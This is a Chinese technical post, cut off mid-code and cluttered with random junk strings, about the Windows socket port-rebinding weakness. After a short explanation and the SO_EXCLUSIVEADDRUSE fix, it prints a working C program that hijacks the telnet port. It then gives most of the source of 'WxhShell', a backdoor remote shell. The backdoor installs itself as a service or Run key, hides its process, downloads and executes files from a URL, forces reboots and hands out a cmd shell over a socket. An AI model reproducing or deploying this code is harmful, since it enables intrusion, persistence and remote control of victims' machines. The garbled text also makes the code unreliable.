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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: DM-8azq $ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n tfwR#j JVORz-uBs saddr.sin_family = AF_INET; p:hzLat~ eqyZ|6 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
1Ugyjjlz ?`nF"u> bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); eDm~B(G$ Z(8'ki 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^vPt Ppt =!G3YZ 这意味着什么?意味着可以进行如下的攻击: sh6F-g -bamNw>| 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 MBbycI, tp3>aNj 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) b,U3b})( Y]5\%JR 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 zKi5e+\ J#0oL_xY# 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 C^hHt,& EzDj,!!<w 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `J>76WN ;?y*@*2u 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _d$0( &?@gUk74" 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6;lJs,I1w{ PC_#kz #include ? 9.V@+i #include zs@#.OEH #include 9q2 >_Mv #include UH<nc;.B DWORD WINAPI ClientThread(LPVOID lpParam); Q}J'S5% int main() %0PdN@I { &AMW?vO WORD wVersionRequested; ZwLD7j*) DWORD ret; 0.}Um WSADATA wsaData; Ufz& 2 BOOL val; LiyEF&_u SOCKADDR_IN saddr; pr|P#mc"J SOCKADDR_IN scaddr; S^GB\uJ int err; 0x}8} SOCKET s; !9!kb SOCKET sc; x9#>0
4s int caddsize; +$#YW5wy HANDLE mt; '8NKrI DWORD tid; 1@nGD<,. wVersionRequested = MAKEWORD( 2, 2 ); %`%xD>![ err = WSAStartup( wVersionRequested, &wsaData ); $XqfwlUu/4 if ( err != 0 ) { C^@.GA printf("error!WSAStartup failed!\n"); h^P>,dy0 return -1; xg}RpC! } gc:qqJi)X saddr.sin_family = AF_INET; Lc|5&<8ZG1 ];waK2'2 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .(Gq9m[~8H o0~+%& saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); IED7v saddr.sin_port = htons(23); !A"`jc~x: if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rSIb1zJ { 8@)/a printf("error!socket failed!\n"); Hp_3BulS< return -1; ,`/J1(\nd } O[3AI^2 val = TRUE; 27-<q5q //SO_REUSEADDR选项就是可以实现端口重绑定的 um@RaU if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) zaX!f~;" { A#W%ud4 printf("error!setsockopt failed!\n"); 71+J{XOC return -1; K?_4| } }N_9&I //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _/"m0/, //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 uc?QS~H&w //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 k;p:P ?s5Y H1uNlPT if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _wWh7'u~G { b;&J2:` ret=GetLastError(); <^&NA<2 printf("error!bind failed!\n"); kb?QQ\e return -1; fW Vd[zuD4 } VT1W#@`e- listen(s,2); q P@4KH}e while(1) DJeP] { +]Oq{v:e caddsize = sizeof(scaddr); oy!W$ ?6 //接受连接请求 m:<cLc :. sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Xc2Oa if(sc!=INVALID_SOCKET) /xjHzva^ w { YMG{xGPtM mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +MKr.k2 if(mt==NULL) }%EQ { vN%zk(?T printf("Thread Creat Failed!\n"); n
5NkjhP~Z break; )<
~1AL } OGNjn9av } Vtm5&- CloseHandle(mt); :N#gNtC)b } ;JpU4W2/ closesocket(s); @b2{'#9]} WSACleanup(); ^3QHB1I return 0; +/q%29-k } od|w)?16 DWORD WINAPI ClientThread(LPVOID lpParam) &yzC\XdA { x~xaE*r SOCKET ss = (SOCKET)lpParam; >Qc0g(w SOCKET sc; ?Zu=UVb unsigned char buf[4096]; u0h {bu SOCKADDR_IN saddr; 2RKI M(~ long num; CD(2A,u)/ DWORD val; GmN} +( DWORD ret; FqiCzP4 //如果是隐藏端口应用的话,可以在此处加一些判断 w}<BO>
z //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 \LRno3 saddr.sin_family = AF_INET; A>^\jIB> saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); i% k`/X; saddr.sin_port = htons(23); 3|%Q{U if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >`8r 52 { s4lkhoN\t printf("error!socket failed!\n"); \$s<G|<P return -1; Py6c=&* } Zi/l.=9n val = 100; 0@1AH< if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q@P5c { wo84V!"A ret = GetLastError(); #KZ- "$ return -1; 8QDRlF:;< } uk_?2?>-5 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0X#tt`;
{ xfqgK D> ret = GetLastError(); "8VCXD return -1; x=yBB;& } fk`y}#7M if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }:YS$'by { 4~4PZ printf("error!socket connect failed!\n"); Os9xZ closesocket(sc); h<i.@& closesocket(ss); 2}1(j return -1; 2(LS<HqP[ } NFPW#-TF while(1) :h?"0, { {AqN@i //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 B[ooT3V //如果是嗅探内容的话,可以再此处进行内容分析和记录 R>[2}R30 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 o87. ( num = recv(ss,buf,4096,0); o`\l&jUNe if(num>0) ^V v7u@y send(sc,buf,num,0); Afo(! v else if(num==0) |h(!CFR break; ~!j1</$_ num = recv(sc,buf,4096,0); gA~BhDS if(num>0) ?Jm/v%0O send(ss,buf,num,0); vn~DtTp/ else if(num==0) ~\}%6W[2 break; S0 M-$ } ^]^Y~$u closesocket(ss); X1!m]s(I closesocket(sc); n NZq`M return 0 ; $zbm!._~DA } j/wG0~<kz \dCoY0Z ; <6U{I ' ========================================================== eI8^T? H:4r6-{ 下边附上一个代码,,WXhSHELL 4VSIE"8e 3D+>NB ========================================================== 6T&6N0y+9 s#?Y^bgH #include "stdafx.h" #Qc[W +% &G5+bUF, #include <stdio.h> )7c\wAs #include <string.h> Q<P],}?: #include <windows.h> ]3xnq< #include <winsock2.h> fXvJ3w( #include <winsvc.h> "m0>u,HmI #include <urlmon.h> S*?'y aePhtQF #pragma comment (lib, "Ws2_32.lib") %JBp~" #pragma comment (lib, "urlmon.lib") {_|~G|Z }k7@
X #define MAX_USER 100 // 最大客户端连接数 soA>&b!? #define BUF_SOCK 200 // sock buffer K&<bn22 #define KEY_BUFF 255 // 输入 buffer lyfLkBF "T?%4^:g #define REBOOT 0 // 重启 -4Zf0r1u #define SHUTDOWN 1 // 关机 :,y V?E6] d%VGfSrKq #define DEF_PORT 5000 // 监听端口 W@AZ<(RI: 6GMQgTY^ #define REG_LEN 16 // 注册表键长度 CspY+%3$ #define SVC_LEN 80 // NT服务名长度 V/$qD 8V`r*:\ // 从dll定义API oat*ORL typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'g^;_=^G typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G9:[W"P typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a "EP ` typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Sb> ;k(;`: $TtCVR // wxhshell配置信息 ;n00kel$ struct WSCFG { {$bAs9L int ws_port; // 监听端口 XB UO char ws_passstr[REG_LEN]; // 口令 \A*#a9" int ws_autoins; // 安装标记, 1=yes 0=no [IF3,C char ws_regname[REG_LEN]; // 注册表键名 $d{{>< char ws_svcname[REG_LEN]; // 服务名 !h}x,=`z/ char ws_svcdisp[SVC_LEN]; // 服务显示名 66fvS}x char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,;y5Mu8 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <`9Q{~*=t int ws_downexe; // 下载执行标记, 1=yes 0=no XWo:~\ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" &sh
%]o8 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tk|Ew!M: Q*ZqY }; R#1h.8 1&ZG6#16q // default Wxhshell configuration L10Vq}W" struct WSCFG wscfg={DEF_PORT, b4Zkj2L "xuhuanlingzhe", `8\_ ]w0 1, <QQgOaS`2 "Wxhshell", ea3AcT6 "Wxhshell", H\W60|z9 "WxhShell Service", DhG2!'N "Wrsky Windows CmdShell Service", 15x~[?! "Please Input Your Password: ", qtnLQl"M 1, Q 6{2@ " http://www.wrsky.com/wxhshell.exe", 5O#CdN-S "Wxhshell.exe" |#^u%#'[2 }; eVjr/nm 7h<B:~(K // 消息定义模块 QY8I_VF char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lfOF]Kiqr char *msg_ws_prompt="\n\r? for help\n\r#>";
1t+]r:{ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ~j^HDHY@ char *msg_ws_ext="\n\rExit."; k`62&"T char *msg_ws_end="\n\rQuit."; B#&U5fSw+0 char *msg_ws_boot="\n\rReboot..."; 8b8ui char *msg_ws_poff="\n\rShutdown..."; Se9I1~mX char *msg_ws_down="\n\rSave to "; yd]W',c f]^(|*6 char *msg_ws_err="\n\rErr!"; @2v L'6 char *msg_ws_ok="\n\rOK!"; M}!7/8HUC w")VcAq char ExeFile[MAX_PATH]; ?5K.#>{ int nUser = 0; tbJB 0T|G HANDLE handles[MAX_USER]; Wo&MHMP int OsIsNt; '!]ry< "[L[*>[9! SERVICE_STATUS serviceStatus; \om$%FUP SERVICE_STATUS_HANDLE hServiceStatusHandle; pa N )t k?0yH$)'t // 函数声明 3o9`Ko0 int Install(void); DPw"UY: int Uninstall(void); iK#5HW{ int DownloadFile(char *sURL, SOCKET wsh); qXR>Z=K< int Boot(int flag); iIA5ylf{E void HideProc(void); {'l^{"GO" int GetOsVer(void); -^=gQ7f9 int Wxhshell(SOCKET wsl); jY-{hW+r void TalkWithClient(void *cs); j#$ R. int CmdShell(SOCKET sock); q+.DZ
@ int StartFromService(void); u7ZSs-LuHw int StartWxhshell(LPSTR lpCmdLine); 3+@p x[U/
8#f& VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b?jRA^ VOID WINAPI NTServiceHandler( DWORD fdwControl ); L,*2tJcC< xbnx*4o0 // 数据结构和表定义 mw! D| SERVICE_TABLE_ENTRY DispatchTable[] = }` E5I&r4 { r"d/9 {wscfg.ws_svcname, NTServiceMain}, vz#VW {NULL, NULL} w&jyijk( }; sXDS_Q j$'L-kK+ // 自我安装 i
2hP4<;h int Install(void) PVH^yWi
n { Y*/:IYr` char svExeFile[MAX_PATH]; >&6pBtC_ HKEY key; Eo
5p- strcpy(svExeFile,ExeFile); OJPxV~y qqA(Swe)T // 如果是win9x系统,修改注册表设为自启动 `% k9@k. if(!OsIsNt) { Fi vgOa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6d& dB RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -CtLL_ I RegCloseKey(key); secD
`] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !G=!^RA RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !#j
y=A RegCloseKey(key); pp@Jndlg return 0; 4*'5EBa1 } .lAqD- }
_+[;NBz } dP63bV else { NBEcx>pma 1wP#?p)c // 如果是NT以上系统,安装为系统服务 u>o<ua
p SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s\y+ xa: if (schSCManager!=0) Z
6KM%R { GjN/8>/ SC_HANDLE schService = CreateService @[h)M3DFd ( Wj.f$U4 schSCManager, >a7OE=K wscfg.ws_svcname, 8dgI&t wscfg.ws_svcdisp, !2R~/Rg SERVICE_ALL_ACCESS, Ss6mN;&D SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;U=IbK* SERVICE_AUTO_START, Bd jo3eX SERVICE_ERROR_NORMAL, *@/1]W svExeFile, 1Q"w)Ta
NULL, R#gt~]x6k NULL, L;N)l2m.\ NULL, Q%)da)0:c NULL, #$7d1bx NULL Xu\FcQ{ ); 12qX[39/ if (schService!=0) lx_jy>$}r { s\2t|d
CloseServiceHandle(schService); VM=A#} CloseServiceHandle(schSCManager); uJ<nW%} strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); lVF}G[B strcat(svExeFile,wscfg.ws_svcname); "#1KO1@G if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V'?bZcRr~ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *`$Y!uzG:\ RegCloseKey(key); q-gp;Fm return 0; H8.Aq\2S } J&Ig%&/ } hG51jVYtw CloseServiceHandle(schSCManager); Lc 4\i } ?#~3%$> } lZ]x #v tQ0iie1Ys return 1; ?.Mw } ERD( qL.J KG9h
rT // 自我卸载 r+%:rFeX int Uninstall(void)
2..b/ { /$
Gp<.z HKEY key; zURxXo/\V cV^r_E\m if(!OsIsNt) { 6[ }~m\cY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r9nH6 Md\ RegDeleteValue(key,wscfg.ws_regname); ,dn6z#pb+ RegCloseKey(key); !qGER. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RW| LL@r RegDeleteValue(key,wscfg.ws_regname); (Z(O7X(/ RegCloseKey(key); N3/G6wn return 0; vEQw`OC } qJV2x.! } 'YQ^K`lV } JxI\ss?O else { 1EE4N\ 3sr>?/>: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `;KU^dH if (schSCManager!=0) CB V(H$d { ,liFo.kT8% SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MI8f(ZJK5 if (schService!=0) ZqT8G { R\DdU-k if(DeleteService(schService)!=0) { J)(KG dk CloseServiceHandle(schService); 3"v
k$ CloseServiceHandle(schSCManager); ;Q*=AW return 0; /$a>f>EJ } mL\_C9k,n CloseServiceHandle(schService); i,#j@R@.C7 } uWm,mGd9 CloseServiceHandle(schSCManager); Dxp8^VL } ;Q YUiR } wxC&KrRF R"@J*\;$T return 1; RNa59b } R`M>w MLH &n6'r^[D // 从指定url下载文件 3B *b d int DownloadFile(char *sURL, SOCKET wsh) 4)- ?1?) { Vyy;mEBg HRESULT hr; KmF"Ccc char seps[]= "/"; ,q9nHZG^ char *token; )9F o char *file; u7PtGN0r% char myURL[MAX_PATH]; kH;DAphk char myFILE[MAX_PATH]; =[A5qwyv ai,\'%N strcpy(myURL,sURL); &8=wkG% token=strtok(myURL,seps); JSXJlau while(token!=NULL) %@C(H%obWd { V2Iqk]V%y file=token; FKYPkFB token=strtok(NULL,seps); +Cs[]~ } u.\FNa ;4(ULJ* GetCurrentDirectory(MAX_PATH,myFILE); ^a>3U l{ strcat(myFILE, "\\"); eXs^YPi strcat(myFILE, file); _:N+mEF send(wsh,myFILE,strlen(myFILE),0); ub/Z'! send(wsh,"...",3,0); r'|V z*/h hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d6(R-k#B if(hr==S_OK) FYOQ}N
return 0; Bh`Y?S else Rgstk/1 return 1; @*Y"[\ "$ nK!yu?mS } ;)nkY6- seQSDCsvw* // 系统电源模块 \,n|V3#G int Boot(int flag) T[?wbYfW { Np2I*l6W HANDLE hToken; ,Yp+&&p. TOKEN_PRIVILEGES tkp; 8m prK`p &*Sgyk
o` if(OsIsNt) { ;+-@AYl OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Fx@ovI- 5 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B|\JGnNQ tkp.PrivilegeCount = 1; m8j Q~OS tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]VKM3[ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tfKf*Um if(flag==REBOOT) { LqYP0%7 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >Bw<THx return 0; x]6-r`O7r } |\}&mBR else { w"PnN if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f6of8BOg return 0; g3 6:OK" } cVV @MC } wo#,c( else { GgU8f0I if(flag==REBOOT) { ?IN'Dc9&%- if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 24g\xNnt return 0; $a@T:zfe } v3*y43 else { ZXJ]== if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |>Ld'\i8 return 0; ^y,Ex;6o } Za110oF } S3?Bl' B0M(&)!%
return 1; ?DGe}?pX } @sr~&YhA ^@V;`jsll // win9x进程隐藏模块 -$ VP#% void HideProc(void) CD!Aa { +!~"ooQZh K]{x0A HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @%^JB if ( hKernel != NULL ) ro n-v"! { %#jW pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x]Pp|rHj ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >eC>sTPQ{ FreeLibrary(hKernel); \PzJ66DL! } *HONA>u
UR|Au'iu return; {}n]\zO % } 3>'TYXs- XsEotW // 获取操作系统版本 3LkcK1x. int GetOsVer(void) =#Z+WD-E { gX%"Ki7. OSVERSIONINFO winfo; 6(1S_b=a winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?Tlt(%f GetVersionEx(&winfo); u\AL`'v if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7WMF8(j5 return 1; nb~592u else U [R[VY7 return 0; f=EWr8mno } 6/3oW}Oo W]W[oTJ5 // 客户端句柄模块 A"}Ib' int Wxhshell(SOCKET wsl) &} rmDx { Z}AhDIw!G SOCKET wsh; <r1/& RW, struct sockaddr_in client; c;B: o DWORD myID; FokSg[)5 (&KBYiwr while(nUser<MAX_USER) u9*7Buou^ { Y6E0-bL@Fe int nSize=sizeof(client); *'n L[] wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .WVIdVO7 if(wsh==INVALID_SOCKET) return 1; r
[E4/?_ 'Ul^V handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h
J H if(handles[nUser]==0) LTTMxiq[* closesocket(wsh); iBt<EM]U/ else ]~@uStHn nUser++; 7PW7&]-WQ } Pr_DMu WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RI3GAd
Gspb\HJ^ return 0; pt%*Y.)az } !"LFeqI$lr 0O!A8FA0 // 关闭 socket |4j'KM;U void CloseIt(SOCKET wsh) bIXD(5y { RgD %pNhI closesocket(wsh); 3(,c^F nUser--; bs_< UE ExitThread(0); %D49A-R } Y_FQB K U 5|A"YzY# // 客户端请求句柄 xqpq|U void TalkWithClient(void *cs) z^o7&\: { tPb<*{eG %w;wQ_ SOCKET wsh=(SOCKET)cs; rM`z2*7%d char pwd[SVC_LEN]; H-qbgd6&>R char cmd[KEY_BUFF]; "!R*f $ char chr[1]; aQj"FUL int i,j; pHzl/b8 v[\GhVb while (nUser < MAX_USER) { {yFMY?6rf ^8=e8O if(wscfg.ws_passstr) { *pYawT if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0O?\0k;o //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7po;*?Ox //ZeroMemory(pwd,KEY_BUFF); \HL66%b[ i=0; RN2z/FUf while(i<SVC_LEN) { G2dPm}s ZG ;qs^+ // 设置超时 >-j([% fd_set FdRead; XG!^[ZDs struct timeval TimeOut; .umN>/o[ FD_ZERO(&FdRead); o0_H(j? FD_SET(wsh,&FdRead); n( 9$)B_y TimeOut.tv_sec=8; ~cf)wrP TimeOut.tv_usec=0; K?u:-QX^ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ie}7#>S if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sitgz)Ki^ rrSFmhQUk if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^[VEr"X pwd =chr[0]; a5/r|BiBK if(chr[0]==0xd || chr[0]==0xa) { (_R!:H(]m pwd=0; w19OOD break; w>4( hGO } ^ f[^.k$3d i++; y/>Nx7C0=2 } BKK@_B" mGoNT // 如果是非法用户,关闭 socket I9h{fB if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qOAhBZ~ } #V.u[:mO XEUS)X) send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qga\icQr send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d*$x|B|V w{riXOjS4 while(1) { I:WPP'L4o tm.&k6% ZeroMemory(cmd,KEY_BUFF); wj8\eK)]L g&\;62lV% // 自动支持客户端 telnet标准 _TyQC1 d j=0; p2gu@! while(j<KEY_BUFF) { 93/`e}P"o if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pk5 %lu cmd[j]=chr[0]; MEOfVh if(chr[0]==0xa || chr[0]==0xd) { M"foP@ cmd[j]=0; X7SSTcA break; b/4gs62{k } t&-c?&FO\; j++; eGUe#(I / } d>/4z#R}- I.o3Old // 下载文件 _k5$.f:Yj< if(strstr(cmd,"http://")) { =H"%{VeC5 send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~]BR(n if(DownloadFile(cmd,wsh)) v%QCp send(wsh,msg_ws_err,strlen(msg_ws_err),0); /x/W>J2 else T{
lm
z<g send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?[
D6|gp } Y'y$k else { @"^(} 6 tfv@
)9 switch(cmd[0]) { fVq,? XX*f // 帮助 0qBXL;sE case '?': { x!onan send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .>'J ^^ break; %Ip=3($Ku[ } Q8DKU // 安装 )EG-xo@X case 'i': { xH-} <7 if(Install()) %Jn5M(myC send(wsh,msg_ws_err,strlen(msg_ws_err),0); d_98%U+u else vf`] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C|rl",& break; w$Mb+b$ } $'lJ_jL // 卸载 K$M,d-
`b case 'r': { 5JZZvc$au if(Uninstall()) Fh)YNW@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,7e 2M@=
else 'eoI~*}3WQ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YC}$O2 break; p-/}@r3Z+ } 2aQ}|
` // 显示 wxhshell 所在路径 U7G|4( case 'p': { !" : arK char svExeFile[MAX_PATH]; 6.4,Qae9E strcpy(svExeFile,"\n\r"); )sapUnqrlR strcat(svExeFile,ExeFile); s_,&"-> send(wsh,svExeFile,strlen(svExeFile),0); <zu)=W'R] break; ,-BZsZ0~ } gwYTOs^ // 重启 g:"Hg-s case 'b': { wD[qE send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hpticW| if(Boot(REBOOT)) >2)!w send(wsh,msg_ws_err,strlen(msg_ws_err),0); zyI4E\ else { x[%% )[d closesocket(wsh); ;}k_2mr~ ExitThread(0); X .S8vlb4z } zdDJcdbGd1 break; \y/+H } JDC,] // 关机 5TdI case 'd': { W&^2Fb send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M~!LjJg; if(Boot(SHUTDOWN)) B?_ujH80m send(wsh,msg_ws_err,strlen(msg_ws_err),0); m<22E0=g else { Q&9& )8- closesocket(wsh); @aGS~^Uh ExitThread(0); Mq,_DQ } Eb9M;u break; P^*gk P } ,#-^ // 获取shell fKT(.VNq5 case 's': { GgjBLe=C CmdShell(wsh); 6d/b*,4[ closesocket(wsh); fmq^AnKd ExitThread(0); FkT% -I break; jfrUOl'l } 'w7{8^Z2 // 退出 ?)5M3lV3k case 'x': { iF]vIg#h send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]0:R^dHE CloseIt(wsh); xE.=\UzJ break; S[M\com' } b;Im +9& // 离开 v]27+/a$c case 'q': { ? 5
V-D8k send(wsh,msg_ws_end,strlen(msg_ws_end),0); Yui:=GgUrr closesocket(wsh); _'oy
C(:} WSACleanup(); <`m.Vbvm" exit(1); dUJNr_ break; g@"6QAP } O^gq\X4} } PZl(S}VY } =U".L ]QU52R@M // 提示信息 Onoi6^G if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^q$vyY
} K+mtuB]yr } y]\R0lR J0|}u1?l return; QX~*aqS3s8 } Ic&t_B*i}] _>:g&pS/ // shell模块句柄 tdr*>WL int CmdShell(SOCKET sock) 4/U]7Y { _.06^5o STARTUPINFO si; F]?$Q'U ZeroMemory(&si,sizeof(si)); w }2|Do$5 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T}]Ao si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I.e' PROCESS_INFORMATION ProcessInfo; a^5`fA/L, char cmdline[]="cmd"; E(U}$Zey CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ddHIP`wb return 0; qkUr5^1 } @+X}O/74 r5iO%JFg // 自身启动模式 @#H{nj
Z int StartFromService(void) v981nJ>w, { 7RD` *s typedef struct PvT8XSlTx! { D&9j$#9Rh DWORD ExitStatus; *Ucyxpu~$ DWORD PebBaseAddress; ::T<de7 DWORD AffinityMask; e#HP+b$ DWORD BasePriority; Z#o\9/{(R ULONG UniqueProcessId; iK%Rq ULONG InheritedFromUniqueProcessId; X0Oq lAw } PROCESS_BASIC_INFORMATION; )Y&De)= EJtU(HmW PROCNTQSIP NtQueryInformationProcess; Z ''P5B; YJ16vb9 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^]R0d3?>\ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Eq<#pX6 56_KB.Ww~ HANDLE hProcess; Yg]f2ke PROCESS_BASIC_INFORMATION pbi; G[>-@9_b wD,F=O HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WNYLQ=; if(NULL == hInst ) return 0; }C&c=3V 8rpN2M3h g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l*m|b""].u g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ToJru NtQueryInformationProcess = 